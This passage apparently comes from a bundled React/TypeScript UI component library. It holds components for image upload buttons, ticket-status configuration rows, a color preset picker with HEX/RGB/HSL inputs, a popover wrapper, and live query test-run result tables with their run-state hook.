</ActionIconButton>\n              )}\n            </div>\n\n            {loading && (\n              <div className=\"absolute inset-0 flex items-center justify-center rounded-md bg-ods-overlay\">\n                <Loader2 className=\"size-8 animate-spin text-ods-text-on-dark\" />\n              </div>\n            )}\n          </>\n        ) : loading ? (\n          <Loader2 className=\"size-8 animate-spin text-ods-accent\" />\n        ) : (\n          <>\n            <div className=\"flex shrink-0 items-center justify-center rounded-full border border-ods-border bg-ods-card p-[var(--spacing-system-s)]\">\n              <ImagePlusIcon className=\"size-6 text-ods-text-primary\" />\n            </div>\n            <div className=\"flex w-full flex-col items-center text-center\">\n              <p className=\"text-h4 text-ods-text-primary\">{label}</p>\n              <p className=\"text-h6 text-ods-text-secondary\">{description}</p>\n              {resolvedHint && (\n                <p className=\"text-h6 text-ods-text-secondary\">{resolvedHint}</p>\n              )}\n            </div>\n          </>\n        )}\n      </div>\n    </FieldWrapper>\n  )\n}\n\ninterface ActionIconButtonProps {\n  onClick: () => void\n  disabled?: boolean\n  ariaLabel: string\n  children: React.ReactNode\n}\n\nfunction ActionIconButton({ onClick, disabled, ariaLabel, children }: ActionIconButtonProps) {\n  return (\n    <button\n      type=\"button\"\n      onClick={(e) => {\n        e.stopPropagation()\n        onClick()\n      }}\n      disabled={disabled}\n      aria-label={ariaLabel}\n      className={cn(\n        \"flex shrink-0 items-center justify-center rounded-md p-3\",\n        \"bg-[var(--ods-system-greys-white)] text-ods-text-on-accent\",\n        \"transition-colors duration-150\",\n        \"hover:bg-[var(--ods-system-greys-white-hover)]\",\n        \"active:bg-[var(--ods-system-greys-white-action)]\",\n        \"focus-visible:outline focus-visible:outline-2 focus-visible:outline-offset-2 focus-visible:outline-ods-accent\",\n        \"disabled:cursor-not-allowed disabled:opacity-50\",\n      )}\n    >\n      {children}\n    </button>\n  )\n}\n\n","'use client'\n\nimport type { DraggableAttributes, DraggableSyntheticListeners } from '@dnd-kit/core'\nimport * as React from 'react'\nimport { cn } from '../../utils/cn'\nimport { DraggerIcon } from '../icons-v2-generated/interface/dragger-icon'\nimport { TrashIcon } from '../icons-v2-generated/interface/trash-icon'\nimport { InfoCircleIcon } from '../icons-v2-generated/signs-and-symbols/info-circle-icon'\nimport { Button } from './button'\nimport { ColorPresetSelect, ColorPickerInput } from './color-preset-select'\nimport { Input } from './input'\nimport { type TagProps } from './tag'\nimport { TicketStatusTag } from './ticket-status-tag'\nimport { TouchFriendlyTooltip } from './touch-friendly-tooltip'\n\ntype SystemTagVariant = Extract<TagProps['variant'], 'outline' | 'primary'>\n\nexport interface TicketStatusConfigRowProps {\n  variant: 'system' | 'custom'\n  /**\n   * Canonical ticket-status key for system rows (e.g. 'ACTIVE', 'RESOLVED'),\n   * or the row's unique id for custom rows. Forwarded to TicketStatusTag.\n   */\n  statusKey: string\n  name: string\n  onNameChange?: (value: string) => void\n  color?: string\n  presetKey?: string\n  onColorChange?: (next: { color: string; preset?: string }) => void\n  systemTooltip?: string\n  systemTagVariant?: SystemTagVariant\n  onDelete?: () => void\n  deleteDisabled?: boolean\n  deleteDisabledReason?: string\n  dragHandleProps?: DraggableSyntheticListeners\n  dragHandleAttributes?: DraggableAttributes\n  isDragging?: boolean\n}\n\nexport function TicketStatusConfigRow({\n  variant,\n  statusKey,\n  name,\n  onNameChange,\n  color,\n  presetKey,\n  onColorChange,\n  systemTooltip,\n  systemTagVariant,\n  onDelete,\n  deleteDisabled,\n  deleteDisabledReason,\n  dragHandleProps,\n  dragHandleAttributes,\n  isDragging,\n}: TicketStatusConfigRowProps) {\n  const isSystem = variant === 'system'\n  const isCustomColor = !isSystem && presetKey === undefined\n  const previewColor = isSystem ? undefined : color\n  const showColorPicker = !isSystem && onColorChange && color !== undefined\n  // Custom rows render as filled pills (no border); system rows take the\n  // page-configured variant (outline/primary). text-h5 already uppercases.\n  const previewVariant: SystemTagVariant | undefined = systemTagVariant ?? (isSystem ? undefined : 'primary')\n  const colClass = 'min-w-0 grow basis-[calc(50%-6px)] md:basis-0'\n\n  return (\n    <div\n      className={cn(\n        'flex w-full items-start gap-3 rounded-md border border-ods-border bg-ods-card md:gap-[var(--spacing-system-m)]',\n        'p-[var(--spacing-system-m)]',\n        isDragging && 'opacity-70 shadow-lg',\n      )}\n    >\n      <div className=\"flex h-11 w-8 shrink-0 items-center justify-center text-ods-text-secondary md:h-12\">\n        {isSystem ? (\n          <DraggerIcon size={24} aria-hidden className=\"opacity-40\" />\n        ) : (\n          <button\n            type=\"button\"\n            aria-label=\"Drag to reorder\"\n            className=\"flex size-6 cursor-grab items-center justify-center rounded-sm outline-none focus-visible:ring-2 focus-visible:ring-ods-focus active:cursor-grabbing\"\n            {...dragHandleAttributes}\n            {...dragHandleProps}\n          >\n            <DraggerIcon size={24} />\n          </button>\n        )}\n      </div>\n\n      <div className=\"flex min-w-0 flex-1 flex-wrap items-start gap-x-3 gap-y-4 md:flex-nowrap md:gap-[var(--spacing-system-m)]\">\n        <div className={cn('flex flex-col gap-[var(--spacing-system-xxs)]', colClass)}>\n          <Input\n            value={name}\n            onChange={e => onNameChange?.(e.target.value)}\n            disabled={isSystem}\n            readOnly={isSystem}\n            aria-label=\"Status name\"\n            maxLength={50}\n          />\n        </div>\n\n        {showColorPicker ? (\n          <div className={cn('flex', colClass)}>\n            <ColorPresetSelect value={color} presetKey={presetKey} onChange={onColorChange} />\n          </div>\n        ) : (\n          <div aria-hidden className={cn('hidden md:block', colClass)} />\n        )}\n\n        {showColorPicker && isCustomColor ? (\n          <div className={cn('flex', colClass)}>\n            <ColorPickerInput value={color} onChange={next => onColorChange({ color: next, preset: undefined })} />\n          </div>\n        ) : (\n          <div aria-hidden className={cn('hidden md:block', colClass)} />\n        )}\n\n        <div className={cn('flex h-11 items-center justify-start md:h-12 md:justify-end', colClass)}>\n          <TicketStatusTag\n            status={statusKey}\n            label={name || ' '}\n            color={previewColor}\n            variant={previewVariant}\n            showIcon={isSystem}\n            className=\"max-w-full\"\n          />\n        </div>\n      </div>\n\n      <div className=\"flex h-11 w-12 shrink-0 items-center justify-center md:h-12\">\n        {isSystem ? (\n          <TouchFriendlyTooltip content={systemTooltip}>\n            <button\n              type=\"button\"\n              aria-label={systemTooltip ?? 'System status'}\n              className=\"flex size-6 items-center justify-center text-ods-text-secondary outline-none focus-visible:ring-2 focus-visible:ring-ods-focus\"\n            >\n              <InfoCircleIcon size={24} />\n            </button>\n          </TouchFriendlyTooltip>\n        ) : (\n          <TouchFriendlyTooltip content={deleteDisabled ? deleteDisabledReason : undefined}>\n            <span className=\"inline-flex\">\n              <Button\n                type=\"button\"\n                variant=\"outline\"\n                size=\"icon\"\n                aria-label=\"Delete status\"\n                disabled={deleteDisabled}\n                onClick={deleteDisabled ? undefined : onDelete}\n                className={cn('size-11 md:size-12', deleteDisabled && 'pointer-events-none')}\n              >\n                <TrashIcon className=\"text-ods-error\"/>\n              </Button>\n            </span>\n          </TouchFriendlyTooltip>\n        )}\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { HexColorPicker } from 'react-colorful'\nimport { Chevron02DownIcon } from '../icons-v2-generated/arrows/chevron-02-down-icon'\nimport { Popover, PopoverContent, PopoverTrigger } from '../popover'\nimport { cn } from '../../utils/cn'\nimport { HEX_PATTERN, hexToRgb, hslToRgb, rgbToHex, rgbToHsl } from '../../utils/ods-color-utils'\nimport { ActionsMenuDropdown, type ActionsMenuGroup } from './actions-menu'\nimport { ColorSwatch } from './color-swatch'\nimport { Input } from './input'\nimport { InputTrigger } from './input-trigger'\n\nexport interface ColorPreset {\n  key: string\n  label: string\n  color: string\n}\n\n// Ticket-status palette.\nexport const TICKET_STATUS_COLOR_PRESETS: readonly ColorPreset[] = [\n  { key: 'green', label: 'Green', color: '#5ea62e' },\n  { key: 'lime', label: 'Lime', color: '#8bc34a' },\n  { key: 'teal', label: 'Teal', color: '#4db6ac' },\n  { key: 'sky', label: 'Sky', color: '#4fc3f7' },\n  { key: 'periwinkle', label: 'Periwinkle', color: '#7e9cd8' },\n  { key: 'lavender', label: 'Lavender', color: '#b39ddb' },\n  { key: 'yellow', label: 'Yellow', color: '#e1b32f' },\n  { key: 'sand', label: 'Sand', color: '#f0c674' },\n  { key: 'peach', label: 'Peach', color: '#f39c7a' },\n  { key: 'red', label: 'Red', color: '#f36666' },\n  { key: 'pink', label: 'Pink', color: '#e988a8' },\n  { key: 'neutral', label: 'Neutral', color: '#b0b0b0' },\n]\n\nexport const CUSTOM_PRESET_KEY = 'custom'\nexport const DEFAULT_CUSTOM_STATUS_COLOR = '#888888'\n\nfunction TriggerChevron() {\n  return (\n    <Chevron02DownIcon\n      size={24}\n      className=\"transition-transform duration-200 group-data-[state=open]:rotate-180\"\n    />\n  )\n}\n\nexport interface ColorPresetSelectProps {\n  value: string\n  presetKey?: string\n  onChange: (next: { color: string; preset?: string }) => void\n  presets?: readonly ColorPreset[]\n  disabled?: boolean\n  className?: string\n}\n\nexport function ColorPresetSelect({\n  value,\n  presetKey,\n  onChange,\n  presets = TICKET_STATUS_COLOR_PRESETS,\n  disabled,\n  className,\n}: ColorPresetSelectProps) {\n  const selectedPreset = presets.find(p => p.key === presetKey)\n  const isCustom = !selectedPreset\n  const displayLabel = selectedPreset?.label ?? 'Custom'\n  const displayColor = selectedPreset?.color ?? value\n\n  const groups: ActionsMenuGroup[] = [\n    {\n      items: [\n        ...presets.map(p => ({\n          id: p.key,\n          label: p.label,\n          icon: <ColorSwatch color={p.color} />,\n          onClick: () => onChange({ color: p.color, preset: p.key }),\n        })),\n        {\n          id: CUSTOM_PRESET_KEY,\n          label: 'Custom',\n          icon: <ColorSwatch color={isCustom ? value : DEFAULT_CUSTOM_STATUS_COLOR} />,\n          onClick: () => onChange({ color: value, preset: undefined }),\n        },\n      ],\n    },\n  ]\n\n  return (\n    <ActionsMenuDropdown\n      groups={groups}\n      align=\"start\"\n      sideOffset={4}\n      customTrigger={\n        <InputTrigger\n          disabled={disabled}\n          aria-label={`Color: ${displayLabel}`}\n          startIcon={<ColorSwatch color={displayColor} />}\n          selectedLabel={displayLabel}\n          endIcon={<TriggerChevron />}\n          className={cn('group', className)}\n        />\n      }\n    />\n  )\n}\n\n// ---------------------------------------------------------------------------\n// ColorPickerInput — saturation/value + hue + HEX/RGB/HSL inputs\n// Public contract: `value` and `onChange` are always hex (#rrggbb).\n// Conversion helpers live in `utils/ods-color-utils`.\n// ---------------------------------------------------------------------------\n\nconst FORMATS = ['HEX', 'RGB', 'HSL'] as const\ntype ColorFormat = (typeof FORMATS)[number]\n\n// Channel inputs are number-shaped and centered; HEX is text-shaped and left-aligned.\n// Both target the Input component's inner <input> via the descendant selector.\n// `flex-1 min-w-0` lets each input share the row width and shrink below content;\n// without it, Input's `w-full` outer makes siblings overflow the popover.\nconst channelInputClass = 'flex-1 min-w-0 [&_input]:text-center [&_input]:tabular-nums'\nconst hexInputClass = 'flex-1 min-w-0 [&_input]:uppercase'\n\nfunction HexInputs({ value, onChange }: { value: string; onChange: (hex: string) => void }) {\n  const [draft, setDraft] = React.useState(value)\n  React.useEffect(() => setDraft(value), [value])\n\n  const commit = () => {\n    const candidate = (draft.startsWith('#') ? draft : `#${draft}`).toLowerCase()\n    if (HEX_PATTERN.test(candidate)) onChange(candidate)\n    else setDraft(value)\n  }\n\n  return (\n    <Input\n      type=\"text\"\n      value={draft}\n      onChange={e => setDraft(e.target.value)}\n      onBlur={commit}\n      onKeyDown={e => {\n        if (e.key === 'Enter') {\n          e.preventDefault()\n          commit()\n        }\n      }}\n      spellCheck={false}\n      aria-label=\"Hex color value\"\n      className={hexInputClass}\n    />\n  )\n}\n\nfunction ChannelInput({\n  value,\n  min,\n  max,\n  ariaLabel,\n  onCommit,\n}: {\n  value: number\n  min: number\n  max: number\n  ariaLabel: string\n  onCommit: (next: number) => void\n}) {\n  const [draft, setDraft] = React.useState(String(value))\n  React.useEffect(() => setDraft(String(value)), [value])\n\n  const commit = () => {\n    const parsed = Number.parseInt(draft, 10)\n    if (!Number.isFinite(parsed)) {\n      setDraft(String(value))\n      return\n    }\n    onCommit(Math.max(min, Math.min(max, parsed)))\n  }\n\n  return (\n    <Input\n      type=\"text\"\n      inputMode=\"numeric\"\n      pattern=\"[0-9]*\"\n      value={draft}\n      onChange={e => setDraft(e.target.value.replace(/[^0-9]/g, ''))}\n      onBlur={commit}\n      onKeyDown={e => {\n        if (e.key === 'Enter') {\n          e.preventDefault()\n          commit()\n        }\n      }}\n      aria-label={ariaLabel}\n      className={channelInputClass}\n    />\n  )\n}\n\nfunction RgbInputs({ value, onChange }: { value: string; onChange: (hex: string) => void }) {\n  const rgb = hexToRgb(value) ?? { r: 0, g: 0, b: 0 }\n  const update = (next: { r?: number; g?: number; b?: number }) => {\n    const r = next.r ?? rgb.r\n    const g = next.g ?? rgb.g\n    const b = next.b ?? rgb.b\n    onChange(rgbToHex(r, g, b))\n  }\n  return (\n    <>\n      <ChannelInput value={rgb.r} min={0} max={255} ariaLabel=\"Red\" onCommit={r => update({ r })} />\n      <ChannelInput value={rgb.g} min={0} max={255} ariaLabel=\"Green\" onCommit={g => update({ g })} />\n      <ChannelInput value={rgb.b} min={0} max={255} ariaLabel=\"Blue\" onCommit={b => update({ b })} />\n    </>\n  )\n}\n\nfunction HslInputs({ value, onChange }: { value: string; onChange: (hex: string) => void }) {\n  const rgb = hexToRgb(value) ?? { r: 0, g: 0, b: 0 }\n  const hsl = rgbToHsl(rgb.r, rgb.g, rgb.b)\n  const update = (next: { h?: number; s?: number; l?: number }) => {\n    const h = next.h ?? hsl.h\n    const s = next.s ?? hsl.s\n    const l = next.l ?? hsl.l\n    const out = hslToRgb(h, s, l)\n    onChange(rgbToHex(out.r, out.g, out.b))\n  }\n  return (\n    <>\n      <ChannelInput value={hsl.h} min={0} max={360} ariaLabel=\"Hue\" onCommit={h => update({ h })} />\n      <ChannelInput value={hsl.s} min={0} max={100} ariaLabel=\"Saturation\" onCommit={s => update({ s })} />\n      <ChannelInput value={hsl.l} min={0} max={100} ariaLabel=\"Lightness\" onCommit={l => update({ l })} />\n    </>\n  )\n}\n\nexport interface ColorPickerInputProps {\n  value: string\n  onChange: (color: string) => void\n  disabled?: boolean\n  className?: string\n}\n\nexport function ColorPickerInput({ value, onChange, disabled, className }: ColorPickerInputProps) {\n  const [open, setOpen] = React.useState(false)\n  const [format, setFormat] = React.useState<ColorFormat>('HEX')\n\n  const formatGroups: ActionsMenuGroup[] = [\n    {\n      items: FORMATS.map(f => ({\n        id: f,\n        label: f,\n        onClick: () => setFormat(f),\n      })),\n    },\n  ]\n\n  return (\n    <Popover open={open} onOpenChange={setOpen}>\n      <PopoverTrigger asChild>\n        <InputTrigger\n          disabled={disabled}\n          aria-label=\"Pick custom color\"\n          startIcon={<ColorSwatch color={value} />}\n          selectedLabel={<span className=\"uppercase\">{value}</span>}\n          endIcon={<TriggerChevron />}\n          className={cn('group', className)}\n        />\n      </PopoverTrigger>\n      <PopoverContent\n        align=\"start\"\n        sideOffset={4}\n        className=\"z-[1400] w-[320px] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-sf)] text-ods-text-primary shadow-md [&_.react-colorful]:!w-full [&_.react-colorful]:!h-[190px] [&_.react-colorful\\\\_\\\\_saturation]:!rounded-sm [&_.react-colorful\\\\_\\\\_last-control]:!rounded-lg [&_.react-colorful\\\\_\\\\_hue]:!h-4 [&_.react-colorful\\\\_\\\\_hue]:!mt-[var(--spacing-system-m)]\"\n      >\n        <div className=\"flex flex-col gap-[var(--spacing-system-m)]\">\n          <HexColorPicker color={value} onChange={onChange} />\n          <div className=\"flex items-center gap-[var(--spacing-system-xs)]\">\n            <ActionsMenuDropdown\n              groups={formatGroups}\n              align=\"start\"\n              sideOffset={4}\n              contentClassName=\"z-[1500]\"\n              customTrigger={\n                <InputTrigger\n                  aria-label={`Color format: ${format}`}\n                  selectedLabel={format}\n                  endIcon={<TriggerChevron />}\n                  className=\"group w-24 shrink-0\"\n                />\n              }\n            />\n            <div className=\"flex flex-1 min-w-0 items-center gap-[var(--spacing-system-xs)]\">\n              {format === 'HEX' && <HexInputs value={value} onChange={onChange} />}\n              {format === 'RGB' && <RgbInputs value={value} onChange={onChange} />}\n              {format === 'HSL' && <HslInputs value={value} onChange={onChange} />}\n            </div>\n          </div>\n        </div>\n      </PopoverContent>\n    </Popover>\n  )\n}\n\n","\"use client\"\n\nimport * as React from \"react\"\nimport * as PopoverPrimitive from \"@radix-ui/react-popover\"\n\nimport { cn } from \"../utils/cn\"\nimport { useKeyboardCollisionPadding } from \"../hooks/ui/use-keyboard-collision-padding\"\n\nconst Popover = PopoverPrimitive.Root\n\nconst PopoverTrigger = PopoverPrimitive.Trigger\n\nconst PopoverContent = React.forwardRef<\n  React.ElementRef<typeof PopoverPrimitive.Content>,\n  React.ComponentPropsWithoutRef<typeof PopoverPrimitive.Content>\n>(({ className, align = \"center\", sideOffset = 4, collisionPadding, ...props }, ref) => {\n  // Any popover holding a field — the colour picker's hex/RGB inputs, a search\n  // box — is positioned against a collision viewport that does not know the\n  // software keyboard exists. See useKeyboardCollisionPadding.\n  const keyboardPadding = useKeyboardCollisionPadding()\n  return (\n    <PopoverPrimitive.Portal>\n      <PopoverPrimitive.Content\n        ref={ref}\n        align={align}\n        sideOffset={sideOffset}\n        collisionPadding={collisionPadding ?? { bottom: keyboardPadding }}\n        className={cn(\n          \"z-50 w-72 rounded-md border bg-popover p-4 text-popover-foreground shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2\",\n          className\n        )}\n        {...props}\n      />\n    </PopoverPrimitive.Portal>\n  )\n})\nPopoverContent.displayName = PopoverPrimitive.Content.displayName\n\nexport { Popover, PopoverTrigger, PopoverContent }\n","'use client'\n\nimport type { ColumnDef, Row } from '@tanstack/react-table'\nimport * as React from 'react'\nimport { Copy02Icon, SearchIcon } from '../icons-v2-generated'\nimport { useCopyToClipboard } from '../../hooks/use-copy-to-clipboard'\nimport { cn } from '../../utils/cn'\nimport { formatTime } from '../../utils/format-date'\nimport { DataTable } from './data-table'\nimport { useDataTable } from './data-table/use-data-table'\nimport { NoData } from './no-data'\nimport type { QueryResultRow } from './query-report-table'\nimport { ScrollShadow } from './scroll-fade'\nimport { Tag } from './tag'\n\n/*\n * Live test-run building blocks: the UI (timing stats, one-row skeleton,\n * results table) and the run state machine for \"run a query/script somewhere\n * and stream tabular results back\" flows. The transport is NOT part of this\n * module — consumers own campaign creation (Fleet live queries, script runs,\n * ...) and pass a `TestRunCampaignState`-shaped object into\n * `useTestRunState`.\n */\n\nexport function formatTestRunDuration(ms: number): string {\n  const totalSeconds = Math.floor(ms / 1000)\n  const hours = Math.floor(totalSeconds / 3600)\n  const minutes = Math.floor((totalSeconds % 3600) / 60)\n  const seconds = totalSeconds % 60\n  return `${String(hours).padStart(2, '0')}:${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`\n}\n\nconst RESULT_COLUMN_MIN_WIDTH = 176\nconst SKELETON_COLUMNS = 6\n\n/** Column-bar skeleton (header cells + one card row): fixed 160px columns on\n    every breakpoint, scrolling horizontally when they do not fit. Bars use\n    bg-ods-bg-surface like the table skeletons — the bg-ods-skeleton token is\n    the same color as the card background and would be invisible on the row. */\nexport function TestResultsSkeleton() {\n  return (\n    <ScrollShadow axis=\"horizontal\">\n      {/* No gap between the header bars and the row card — the real table's\n          header and body sit flush. */}\n      <div className=\"flex w-max min-w-full flex-col\">\n        <div className=\"flex items-center gap-[var(--spacing-system-mf)] px-[var(--spacing-system-mf)]\">\n          {Array.from({ length: SKELETON_COLUMNS }).map((_, i) => (\n            <div key={`skeleton-header-${i}`} className=\"flex h-12 w-[160px] shrink-0 items-center\">\n              <div className=\"h-4 w-3/4 rounded-sm bg-ods-bg-surface animate-pulse\" />\n            </div>\n          ))}\n        </div>\n        <div className=\"rounded-[6px] border border-ods-border bg-ods-card overflow-hidden animate-pulse\">\n          {/* Same INNER row heights as the DataTable (66/78px + the 1px card\n              border on each side = 68/80px total, per design). */}\n          <div className=\"flex h-[66px] md:h-[78px] items-center gap-[var(--spacing-system-mf)] px-[var(--spacing-system-mf)]\">\n            {Array.from({ length: SKELETON_COLUMNS }).map((_, i) => (\n              <div key={`skeleton-cell-${i}`} className=\"w-[160px] shrink-0\">\n                <div className=\"h-5 w-3/4 rounded-sm bg-ods-bg-surface\" />\n              </div>\n            ))}\n          </div>\n        </div>\n      </div>\n    </ScrollShadow>\n  )\n}\n\n/**\n * Live test results rendered with the core DataTable (identical header,\n * skeleton, and card-row styling to the standard tables). Columns are derived\n * from the keys of the returned rows; wide result sets scroll horizontally.\n * Unlike the default tables, headers stay visible on every breakpoint.\n */\nexport function TestResultsTable({ rows, loading }: { rows: QueryResultRow[]; loading: boolean }) {\n  const columnKeys = React.useMemo(() => (rows.length > 0 ? Object.keys(rows[0]) : []), [rows])\n\n  const columns = React.useMemo<ColumnDef<QueryResultRow>[]>(() => {\n    return columnKeys.map(key => ({\n      id: key,\n      accessorFn: (row: QueryResultRow) => row[key],\n      header: key,\n      enableSorting: false,\n      cell: ({ row }: { row: Row<QueryResultRow> }) => {\n        const value = row.original[key]\n        return (\n          <span className=\"text-h4 text-ods-text-primary truncate\">\n            {value === null || value === undefined ? '-' : String(value)}\n          </span>\n        )\n      },\n      meta: {\n        width: 'flex-1 min-w-[176px]',\n        // Show headers on every breakpoint; headerClassName sizes the cells\n        // below lg where meta.width is not applied.\n        alwaysShowHeader: true,\n        headerClassName: 'flex-1 min-w-[176px]',\n      },\n    }))\n  }, [columnKeys])\n\n  const table = useDataTable<QueryResultRow>({\n    data: rows,\n    columns,\n    getRowId: (_row: QueryResultRow, index: number) => String(index),\n    enableSorting: false,\n  })\n\n  if (loading) {\n    return <TestResultsSkeleton />\n  }\n\n  return (\n    <ScrollShadow axis=\"horizontal\">\n      <div style={{ minWidth: Math.max(1, columnKeys.length) * RESULT_COLUMN_MIN_WIDTH }}>\n        <DataTable table={table}>\n          {/* \"flex\" overrides the header's default \"hidden md:flex\" so the\n              headers render on mobile too. */}\n          <DataTable.Header className=\"flex flex-col\" />\n          <DataTable.Body loading={false} />\n        </DataTable>\n      </div>\n    </ScrollShadow>\n  )\n}\n\nexport interface TestRunResultsProps {\n  isActive: boolean\n  displayRows: QueryResultRow[]\n  firstError: string | null\n  className?: string\n}\n\n/** Red error banner with a copy-to-clipboard action, per the test-run design. */\nexport function TestRunErrorBanner({ error, className }: { error: string; className?: string }) {\n  const { copy } = useCopyToClipboard({ successDescription: 'Error message copied to clipboard' })\n  return (\n    <div\n      role=\"alert\"\n      className={cn(\n        'flex items-center justify-between gap-[var(--spacing-system-s)]',\n        'rounded-md border border-ods-error bg-ods-error-secondary',\n        'px-[var(--spacing-system-mf)] py-[var(--spacing-system-s)]',\n        className,\n      )}\n    >\n      <p className=\"text-h4 text-ods-error min-w-0 break-words\">{error}</p>\n      <button\n        type=\"button\"\n        aria-label=\"Copy error message\"\n        onClick={() => copy(error)}\n        className=\"shrink-0 text-ods-error hover:opacity-80 transition-opacity focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus rounded-sm\"\n      >\n        <Copy02Icon className=\"size-5\" />\n      </button>\n    </div>\n  )\n}\n\n/** Error line + empty state + result table for a finished/running test run. */\nexport function TestRunResults({ isActive, displayRows, firstError, className }: TestRunResultsProps) {\n  return (\n    <div className={cn('flex flex-col gap-[var(--spacing-system-xsf)]', className)}>\n      {firstError && <TestRunErrorBanner error={firstError} />}\n      {!isActive && displayRows.length === 0 ? (\n        // With zero rows the error line alone explains the outcome; a\n        // \"No results returned\" empty state next to it would mislead.\n        // Otherwise: fixed-height empty state matching the 1-row\n        // skeleton/result height (48px header + 80px row, no gap) so the\n        // block does not jump between loading/result/empty.\n        !firstError && (\n          <NoData icon={<SearchIcon />} title=\"No results returned\" className=\"h-[128px] justify-center !py-0\" />\n        )\n      ) : (\n        <TestResultsTable rows={displayRows} loading={isActive && displayRows.length === 0} />\n      )}\n    </div>\n  )\n}\n\n/** Started / Duration stat cell shown in a test-run controls row. */\nexport function TimingStat({ value, label, className }: { value: string; label: string; className?: string }) {\n  return (\n    <div className={cn('flex flex-col justify-center min-w-0', className)}>\n      <span className=\"text-h4 text-ods-text-secondary truncate\">{value}</span>\n      <span className=\"text-h6 text-ods-text-secondary truncate\">{label}</span>\n    </div>\n  )\n}\n\n/** Overall run outcome shown in a test-run controls row. */\nexport type TestRunStatus = 'idle' | 'running' | 'success' | 'error'\n\nconst TEST_RUN_STATUS_TAGS: Record<Exclude<TestRunStatus, 'idle'>, { label: string; variant: 'warning' | 'success' | 'error' }> = {\n  running: { label: 'IN PROCESS', variant: 'warning' },\n  success: { label: 'SUCCESS', variant: 'success' },\n  error: { label: 'ERROR', variant: 'error' },\n}\n\n/** Status stat cell: \"-\" before the first run, then a colored state tag. */\nexport function TestRunStatusStat({ status, className }: { status: TestRunStatus; className?: string }) {\n  const tag = status === 'idle' ? null : TEST_RUN_STATUS_TAGS[status]\n  return (\n    <div className={cn('flex flex-col justify-center items-start min-w-0 gap-[var(--spacing-system-xxs)]', className)}>\n      {tag ? (\n        <Tag label={tag.label} variant={tag.variant} className=\"pointer-events-none\" />\n      ) : (\n        <span className=\"text-h4 text-ods-text-secondary truncate\">-</span>\n      )}\n      <span className=\"text-h6 text-ods-text-secondary truncate\">Status</span>\n    </div>\n  )\n}\n\n/**\n * The transport-side contract `useTestRunState` observes. Matches the shape\n * of a live-campaign hook (e.g. Fleet live queries in OpenFrame) without\n * depending on any concrete backend.\n */\nexport interface TestRunCampaignState {\n  isRunning: boolean\n  startedAt: Date | null\n  /** '' before the first run, then 'pending' → 'finished'. */\n  campaignStatus: string\n  results: QueryResultRow[]\n  errors: Array<{ error: string }>\n  stopCampaign: () => void\n}\n\n/**\n * State machine for one live test run: wraps a campaign-shaped object with\n * the run/stop/reset flow, elapsed-duration ticking, and the display flags\n * test panels render from. The consumer starts the actual campaign inside the\n * `start` callback passed to `run`:\n *\n * ```tsx\n * const campaign = useLiveCampaign()               // app-owned transport\n * const test = useTestRunState(campaign)\n * const handleRun = () => test.run(() => campaign.startCampaign(sql, [hostId]))\n * ```\n */\nexport function useTestRunState(campaign: TestRunCampaignState) {\n  // Sticky \"a run has been started\" flag: campaignStatus resets to '' for a\n  // moment when a new run starts, which would flash the initial Run button\n  // between \"Test Again\" clicks without it.\n  const [hasRun, setHasRun] = React.useState(false)\n  // True while the campaign is being created (before isRunning flips) —\n  // without it the button would flash \"Test Again\" right after a Run click.\n  const [isStarting, setIsStarting] = React.useState(false)\n  const [durationMs, setDurationMs] = React.useState(0)\n\n  React.useEffect(() => {\n    if (!campaign.startedAt || !campaign.isRunning) {\n      if (campaign.startedAt && !campaign.isRunning) {\n        setDurationMs(Date.now() - campaign.startedAt.getTime())\n      }\n      return\n    }\n    setDurationMs(Date.now() - campaign.startedAt.getTime())\n    const interval = setInterval(() => {\n      setDurationMs(Date.now() - campaign.startedAt!.getTime())\n    }, 1000)\n    return () => clearInterval(interval)\n  }, [campaign.startedAt, campaign.isRunning])\n\n  const run = React.useCallback(async (start: () => Promise<unknown>) => {\n    setHasRun(true)\n    setDurationMs(0)\n    setIsStarting(true)\n    try {\n      await start()\n    } finally {\n      setIsStarting(false)\n    }\n  }, [])\n\n  // Stop/reset also drop isStarting so the Stop button doesn't stay \"active\"\n  // for the moment between the user's click and the pending start promise\n  // settling (its finally clears the flag again — harmless).\n  const stop = React.useCallback(() => {\n    setIsStarting(false)\n    campaign.stopCampaign()\n  }, [campaign.stopCampaign])\n\n  /** Stop anything in flight and clear the run state (panel close/cancel). */\n  const reset = React.useCallback(() => {\n    setIsStarting(false)\n    campaign.stopCampaign()\n    setDurationMs(0)\n    setHasRun(false)\n  }, [campaign.stopCampaign])\n\n  const isActive = campaign.isRunning || isStarting\n  const isFinished = campaign.campaignStatus === 'finished'\n  const showResults = isActive || (hasRun && isFinished)\n\n  const firstError = isFinished && campaign.errors.length > 0 ? campaign.errors[0].error : null\n\n  // Overall run outcome for the Status stat: '-' until a run starts, then\n  // IN PROCESS while active, and SUCCESS/ERROR once the campaign finishes.\n  const status: TestRunStatus = isActive ? 'running' : hasRun && isFinished ? (firstError ? 'error' : 'success') : 'idle'\n\n  // Started/Duration show zeros until the current run's timing is real:\n  // hasRun=false after a reset, and campaignStatus resets while the next\n  // run is being created, so stale values never linger on screen.\n  const showTiming = hasRun && campaign.startedAt !== null && (campaign.isRunning || isFinished)\n\n  const startedLabel = showTiming && campaign.startedAt ? formatTime(campaign.startedAt) : '00:00 PM'\n  const durationLabel = showTiming ? formatTestRunDuration(durationMs) : '00:00:00'\n\n  // Humanize raw result keys for the table headers (snake_case -> spaced\n  // words); the row data itself is shown exactly as returned.\n  const displayRows = React.useMemo<QueryResultRow[]>(\n    () =>\n      campaign.results.map(row =>\n        Object.fromEntries(Object.entries(row).map(([key, value]) => [key.replace(/_/g, ' '), value])),\n      ),\n    [campaign.results],\n  )\n\n  return {\n    hasRun,\n    isActive,\n    isFinished,\n    showResults,\n    status,\n    firstError,\n    startedLabel,\n    durationLabel,\n    displayRows,\n    run,\n    stop,\n    reset,\n  }\n}\n","'use client';\n\nimport * as React from 'react';\nimport { cn } from '../../utils/cn';\nimport { Chevron02DownIcon } from '../icons-v2-generated/arrows/chevron-02-down-icon';\nimport { UserIcon } from '../icons-v2-generated/users/user-icon';\nimport { 